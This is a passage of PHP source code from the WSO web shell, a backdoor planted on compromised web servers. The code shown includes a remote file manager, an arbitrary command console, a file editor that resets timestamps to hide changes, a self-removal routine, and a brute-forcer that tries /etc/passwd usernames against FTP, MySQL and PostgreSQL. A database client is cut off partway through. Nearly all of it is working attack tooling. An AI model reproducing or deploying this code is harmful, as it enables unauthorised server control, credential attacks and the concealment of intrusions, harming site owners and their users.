647 if(is_dir($f))
648 deleteDir($f);
649 else
650 @unlink($f);
651 }
652 break;
653 case 'paste':
654 if($_COOKIE['act'] == 'copy') {
655 function copy_paste($c,$s,$d){
656 if(is_dir($c.$s)){
657 mkdir($d.$s);
658 $h = @opendir($c.$s);
659 while (($f = @readdir($h)) !== false)
660 if (($f != ".") and ($f != ".."))
661 copy_paste($c.$s.'/',$f, $d.$s.'/');
662 } elseif(is_file($c.$s))
663 @copy($c.$s, $d.$s);
664 }
665 foreach($_COOKIE['f'] as $f)
666 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
667 } elseif($_COOKIE['act'] == 'move') {
668 function move_paste($c,$s,$d){
669 if(is_dir($c.$s)){
670 mkdir($d.$s);
671 $h = @opendir($c.$s);
672 while (($f = @readdir($h)) !== false)
673 if (($f != ".") and ($f != ".."))
674 copy_paste($c.$s.'/',$f, $d.$s.'/');
675 } elseif(@is_file($c.$s))
676 @copy($c.$s, $d.$s);
677 }
678 foreach($_COOKIE['f'] as $f)
679 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
680 } elseif($_COOKIE['act'] == 'zip') {
681 if(class_exists('ZipArchive')) {
682 $zip = new ZipArchive();
683 if ($zip->open($_POST['p2'], 1)) {
684 chdir($_COOKIE['c']);
685 foreach($_COOKIE['f'] as $f) {
686 if($f == '..')
687 continue;
688 if(@is_file($_COOKIE['c'].$f))
689 $zip->addFile($_COOKIE['c'].$f, $f);
690 elseif(@is_dir($_COOKIE['c'].$f)) {
691 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
692 foreach ($iterator as $key=>$value) {
693 $zip->addFile(realpath($key), $key);
694 }
695 }
696 }
697 chdir($GLOBALS['cwd']);
698 $zip->close();
699 }
700 }
701 } elseif($_COOKIE['act'] == 'unzip') {
702 if(class_exists('ZipArchive')) {
703 $zip = new ZipArchive();
704 foreach($_COOKIE['f'] as $f) {
705 if($zip->open($_COOKIE['c'].$f)) {
706 $zip->extractTo($GLOBALS['cwd']);
707 $zip->close();
708 }
709 }
710 }
711 } elseif($_COOKIE['act'] == 'tar') {
712 chdir($_COOKIE['c']);
713 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
714 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
715 chdir($GLOBALS['cwd']);
716 }
717 unset($_COOKIE['f']);
718 setcookie('f', '', time() - 3600);
719 break;
720 default:
721 if(!empty($_POST['p1'])) {
722 WSOsetcookie('act', $_POST['p1']);
723 WSOsetcookie('f', serialize(@$_POST['f']));
724 WSOsetcookie('c', @$_POST['c']);
725 }
726 break;
727 }
728 }
729 wsoHeader();
730 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
731 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
732 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
733 global $sort;
734 $sort = array('name', 1);
735 if(!empty($_POST['p1'])) {
736 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
737 $sort = array($match[1], (int)$match[2]);
738 }
739echo "<script>
740 function sa() {
741 for(i=0;i<d.files.elements.length;i++)
742 if(d.files.elements[i].type == 'checkbox')
743 d.files.elements[i].checked = d.files.elements[0].checked;
744 }
745</script>
746<table width='100%' class='main' cellspacing='0' cellpadding='2'>
747<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
748 $dirs = $files = array();
749 $n = count($dirContent);
750 for($i=0;$i<$n;$i++) {
751 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
752 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
753 $tmp = array('name' => $dirContent[$i],
754 'path' => $GLOBALS['cwd'].$dirContent[$i],
755 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
756 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
757 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
758 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
759 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
760 );
761 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
762 $files[] = array_merge($tmp, array('type' => 'file'));
763 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
764 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
765 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
766 $dirs[] = array_merge($tmp, array('type' => 'dir'));
767 }
768 $GLOBALS['sort'] = $sort;
769 function wsoCmp($a, $b) {
770 if($GLOBALS['sort'][0] != 'size')
771 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
772 else
773 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
774 }
775 usort($files, "wsoCmp");
776 usort($dirs, "wsoCmp");
777 $files = array_merge($dirs, $files);
778 $l = 0;
779 foreach($files as $f) {
780 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
781 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
782 $l = $l?0:1;
783 }
784 echo "<tr><td colspan=7>
785 <input type=hidden name=a value='FilesMan'>
786 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
787 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
788 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
789 if(class_exists('ZipArchive'))
790 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
791 echo "<option value='tar'>Compress (tar.gz)</option>";
792 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
793 echo "<option value='paste'>Paste / Compress</option>";
794 echo "</select> ";
795 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
796 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
797 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
798 wsoFooter();
799}
800
801function actionStringTools() {
802 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
803 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
804 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
805 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
806 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
807 $stringTools = array(
808 'Base64 encode' => 'base64_encode',
809 'Base64 decode' => 'base64_decode',
810 'Url encode' => 'urlencode',
811 'Url decode' => 'urldecode',
812 'Full urlencode' => 'full_urlencode',
813 'md5 hash' => 'md5',
814 'sha1 hash' => 'sha1',
815 'crypt' => 'crypt',
816 'CRC32' => 'crc32',
817 'ASCII to HEX' => 'ascii2hex',
818 'HEX to ASCII' => 'hex2ascii',
819 'HEX to DEC' => 'hexdec',
820 'HEX to BIN' => 'hex2bin',
821 'DEC to HEX' => 'dechex',
822 'DEC to BIN' => 'decbin',
823 'BIN to HEX' => 'binhex',
824 'BIN to DEC' => 'bindec',
825 'String to lower case' => 'strtolower',
826 'String to upper case' => 'strtoupper',
827 'Htmlspecialchars' => 'htmlspecialchars',
828 'String length' => 'strlen',
829 );
830 if(isset($_POST['ajax'])) {
831 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
832 ob_start();
833 if(in_array($_POST['p1'], $stringTools))
834 echo $_POST['p1']($_POST['p2']);
835 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
836 echo strlen($temp), "\n", $temp;
837 exit;
838 }
839 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
840 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
841 wsoHeader();
842 echo '<h1>String conversions</h1><div class=content>';
843 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
844 foreach($stringTools as $k => $v)
845 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
846 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
847 if(!empty($_POST['p1'])) {
848 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
849 }
850 echo"</pre></div><br><h1>Search files:</h1><div class=content>
851 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
852 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
853 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
854 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
855 <tr><td></td><td><input type='submit' value='>>'></td></tr>
856 </table></form>";
857
858 function wsoRecursiveGlob($path) {
859 if(substr($path, -1) != '/')
860 $path.='/';
861 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
862 if(is_array($paths)&&@count($paths)) {
863 foreach($paths as $item) {
864 if(@is_dir($item)){
865 if($path!=$item)
866 wsoRecursiveGlob($item);
867 } else {
868 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
869 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
870 }
871 }
872 }
873 }
874 if(@$_POST['p3'])
875 wsoRecursiveGlob($_POST['c']);
876 echo "</div><br><h1>Search for hash:</h1><div class=content>
877 <form method='post' target='_blank' name='hf'>
878 <input type='text' name='hash' style='width:200px;'><br>
879 <input type='hidden' name='act' value='find'/>
880 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
881 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
882 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
883 </form></div>";
884 wsoFooter();
885}
886
887function actionFilesTools() {
888 if( isset($_POST['p1']) )
889 $_POST['p1'] = urldecode($_POST['p1']);
890 if(@$_POST['p2']=='download') {
891 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
892 ob_start("ob_gzhandler", 4096);
893 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
894 if (function_exists("mime_content_type")) {
895 $type = @mime_content_type($_POST['p1']);
896 header("Content-Type: " . $type);
897 } else
898 header("Content-Type: application/octet-stream");
899 $fp = @fopen($_POST['p1'], "r");
900 if($fp) {
901 while(!@feof($fp))
902 echo @fread($fp, 1024);
903 fclose($fp);
904 }
905 }exit;
906 }
907 if( @$_POST['p2'] == 'mkfile' ) {
908 if(!file_exists($_POST['p1'])) {
909 $fp = @fopen($_POST['p1'], 'w');
910 if($fp) {
911 $_POST['p2'] = "edit";
912 fclose($fp);
913 }
914 }
915 }
916 wsoHeader();
917 echo '<h1>File tools</h1><div class=content>';
918 if( !file_exists(@$_POST['p1']) ) {
919 echo 'File not exists';
920 wsoFooter();
921 return;
922 }
923 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
924 if(!$uid) {
925 $uid['name'] = @fileowner($_POST['p1']);
926 $gid['name'] = @filegroup($_POST['p1']);
927 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
928 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
929 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
930 if( empty($_POST['p2']) )
931 $_POST['p2'] = 'view';
932 if( is_file($_POST['p1']) )
933 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
934 else
935 $m = array('Chmod', 'Rename', 'Touch');
936 foreach($m as $v)
937 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
938 echo '<br><br>';
939 switch($_POST['p2']) {
940 case 'view':
941 echo '<pre class=ml1>';
942 $fp = @fopen($_POST['p1'], 'r');
943 if($fp) {
944 while( !@feof($fp) )
945 echo htmlspecialchars(@fread($fp, 1024));
946 @fclose($fp);
947 }
948 echo '</pre>';
949 break;
950 case 'highlight':
951 if( @is_readable($_POST['p1']) ) {
952 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
953 $code = @highlight_file($_POST['p1'],true);
954 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
955 }
956 break;
957 case 'chmod':
958 if( !empty($_POST['p3']) ) {
959 $perms = 0;
960 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
961 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
962 if(!@chmod($_POST['p1'], $perms))
963 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
964 }
965 clearstatcache();
966 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
967 break;
968 case 'edit':
969 if( !is_writable($_POST['p1'])) {
970 echo 'File isn\'t writeable';
971 break;
972 }
973
974 if( !empty($_POST['p3']) ) {
975 $time = @filemtime($_POST['p1']);
976 $fp = @fopen($_POST['p1'],"w");
977 if($fp) {
978 @fwrite($fp,substr((defined('suid') ? file_get_contents($_POST['p3']) : $_POST['p3']),1));
979 @fclose($fp);
980 if(defined('suid')) @unlink($_POST['p3']);
981 echo 'Saved!<br><script>p3_="";</script>';
982 @touch($_POST['p1'],$time,$time);
983 }
984 }
985 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
986 $fp = @fopen($_POST['p1'], 'r');
987 if($fp) {
988 while( !@feof($fp) )
989 echo htmlspecialchars(@fread($fp, 1024));
990 @fclose($fp);
991 }
992 echo '</textarea><input type=submit value=">>"></form>';
993 break;
994 case 'hexdump':
995 $c = @file_get_contents($_POST['p1']);
996 $n = 0;
997 $h = array('00000000<br>','','');
998 $len = strlen($c);
999 for ($i=0; $i<$len; ++$i) {
1000 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1001 switch ( ord($c[$i]) ) {
1002 case 0: $h[2] .= ' '; break;
1003 case 9: $h[2] .= ' '; break;
1004 case 10: $h[2] .= ' '; break;
1005 case 13: $h[2] .= ' '; break;
1006 default: $h[2] .= $c[$i]; break;
1007 }
1008 $n++;
1009 if ($n == 32) {
1010 $n = 0;
1011 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1012 $h[1] .= '<br>';
1013 $h[2] .= "\n";
1014 }
1015 }
1016 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1017 break;
1018 case 'rename':
1019 if( !empty($_POST['p3']) ) {
1020 if(!@rename($_POST['p1'], $_POST['p3']))
1021 echo 'Can\'t rename!<br>';
1022 else
1023 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1024 }
1025 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1026 break;
1027 case 'touch':
1028 if( !empty($_POST['p3']) ) {
1029 $time = strtotime($_POST['p3']);
1030 if($time) {
1031 if(!touch($_POST['p1'],$time,$time))
1032 echo 'Fail!';
1033 else
1034 echo 'Touched!';
1035 } else echo 'Bad time format!';
1036 }
1037 clearstatcache();
1038 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1039 break;
1040 }
1041 echo '</div>';
1042 wsoFooter();
1043}
1044
1045function actionConsole() {
1046 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1047 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1048 $_POST['p1'] .= ' 2>&1';
1049 } elseif(!empty($_POST['p1']))
1050 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1051
1052 if(isset($_POST['ajax'])) {
1053 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1054 ob_start();
1055 echo "d.cf.cmd.value='';\n";
1056 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1057 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1058 if(@chdir($match[1])) {
1059 $GLOBALS['cwd'] = @getcwd();
1060 echo "c_='".$GLOBALS['cwd']."';";
1061 }
1062 }
1063 echo "d.cf.output.value+='".$temp."';";
1064 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1065 $temp = ob_get_clean();
1066 echo strlen($temp), "\n", $temp;
1067 exit;
1068 }
1069 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1070 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1071 wsoHeader();
1072 echo "<script>
1073if(window.Event) window.captureEvents(Event.KEYDOWN);
1074var cmds = new Array('');
1075var cur = 0;
1076function kp(e) {
1077 var n = (window.Event) ? e.which : e.keyCode;
1078 if(n == 38) {
1079 cur--;
1080 if(cur>=0)
1081 document.cf.cmd.value = cmds[cur];
1082 else
1083 cur++;
1084 } else if(n == 40) {
1085 cur++;
1086 if(cur < cmds.length)
1087 document.cf.cmd.value = cmds[cur];
1088 else
1089 cur--;
1090 }
1091}
1092function add(cmd) {
1093 cmds.pop();
1094 cmds.push(cmd);
1095 cmds.push('');
1096 cur = cmds.length-1;
1097}
1098</script>";
1099 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1100 foreach($GLOBALS['aliases'] as $n => $v) {
1101 if($v == '') {
1102 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1103 continue;
1104 }
1105 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1106 }
1107
1108 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1109 if(!empty($_POST['p1'])) {
1110 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1111 }
1112 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1113 echo '</form></div><script>d.cf.cmd.focus();</script>';
1114 wsoFooter();
1115}
1116
1117function actionLogout() {
1118 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1119 die('bye!');
1120}
1121
1122function actionSelfRemove() {
1123
1124 if($_POST['p1'] == 'yes')
1125 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1126 die('Shell has been removed');
1127 else
1128 echo 'unlink error!';
1129 if($_POST['p1'] != 'yes')
1130 wsoHeader();
1131 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1132 wsoFooter();
1133}
1134
1135function actionBruteforce() {
1136 wsoHeader();
1137 if( isset($_POST['proto']) ) {
1138 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1139 if( $_POST['proto'] == 'ftp' ) {
1140 function wsoBruteForce($ip,$port,$login,$pass) {
1141 $fp = @ftp_connect($ip, $port?$port:21);
1142 if(!$fp) return false;
1143 $res = @ftp_login($fp, $login, $pass);
1144 @ftp_close($fp);
1145 return $res;
1146 }
1147 } elseif( $_POST['proto'] == 'mysql' ) {
1148 function wsoBruteForce($ip,$port,$login,$pass) {
1149 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1150 @mysql_close($res);
1151 return $res;
1152 }
1153 } elseif( $_POST['proto'] == 'pgsql' ) {
1154 function wsoBruteForce($ip,$port,$login,$pass) {
1155 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1156 $res = @pg_connect($str);
1157 @pg_close($res);
1158 return $res;
1159 }
1160 }
1161 $success = 0;
1162 $attempts = 0;
1163 $server = explode(":", $_POST['server']);
1164 if($_POST['type'] == 1) {
1165 $temp = @file('/etc/passwd');
1166 if( is_array($temp) )
1167 foreach($temp as $line) {
1168 $line = explode(":", $line);
1169 ++$attempts;
1170 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1171 $success++;
1172 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1173 }
1174 if(@$_POST['reverse']) {
1175 $tmp = "";
1176 for($i=strlen($line[0])-1; $i>=0; --$i)
1177 $tmp .= $line[0][$i];
1178 ++$attempts;
1179 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1180 $success++;
1181 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1182 }
1183 }
1184 }
1185 } elseif($_POST['type'] == 2) {
1186 $temp = @file($_POST['dict']);
1187 if( is_array($temp) )
1188 foreach($temp as $line) {
1189 $line = trim($line);
1190 ++$attempts;
1191 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1192 $success++;
1193 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1194 }
1195 }
1196 }
1197 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1198 }
1199 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1200 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1201 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1202 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1203 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1204 .'<span>Server:port</span></td>'
1205 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1206 .'<tr><td><span>Brute type</span></td>'
1207 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1208 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1209 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1210 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1211 .'<td><input type=text name=login value="root"></td></tr>'
1212 .'<tr><td><span>Dictionary</span></td>'
1213 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1214 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1215 echo '</div><br>';
1216 wsoFooter();
1217}
1218
1219function actionSql() {
1220 class DbClass {
1221 var $type;
1222 var $link;
1223 var $res;
1224 function DbClass($type) {
1225 $this->type = $type;
1226 }
1227 function connect($host, $user, $pass, $dbname){
1228 switch($this->type) {
1229 case 'mysql':
1230 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1231 break;
1232 case 'pgsql':
1233 $host = explode(':', $host);
1234 if(!$host[1]) $host[1]=5432;
1235 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1236 break;
1237 }
1238 return false;
1239 }
1240 function selectdb($db) {
1241 switch($this->type) {
1242 case 'mysql':
1243 if (@mysql_select_db($db))return true;
1244 break;
1245 }
1246 return false;
1247 }
1248 function query($str) {
1249 switch($this->type) {
1250 case 'mysql':
1251 return $this->res = @mysql_query($str);
1252 break;
1253 case 'pgsql':
1254 return $this->res = @pg_query($this->link,$str);
1255 break;
1256 }
1257 return false;
1258 }
1259 function fetch() {
1260 $res = func_num_args()?func_get_arg(0):$this->res;
1261 switch($this->type) {
1262 case 'mysql':
1263 return @mysql_fetch_assoc($res);
1264 break;
1265 case 'pgsql':
1266 return @pg_fetch_assoc($res);
1267 break;
1268 }
1269 return false;
1270 }
1271 function listDbs() {
1272 switch($this->type) {
1273 case 'mysql':
1274 return $this->query("SHOW databases");
1275 break;
1276 case 'pgsql':
1277 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1278 break;
1279 }
1280 return false;
1281 }
1282 function listTables() {
1283 switch($this->type) {
1284 case 'mysql':
1285 return $this->res = $this->query('SHOW TABLES');
1286 break;
1287 case 'pgsql':
1288 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1289 break;
1290 }
1291 return false;
1292 }
1293 function error() {
1294 switch($this->type) {
1295 case 'mysql':
1296 return @mysql_error();
1297 break;
1298 case 'pgsql':
1299 return @pg_last_error();
1300 break;
1301 }
1302 return false;
1303 }
1304 function setCharset($str) {
1305 switch($this->type) {
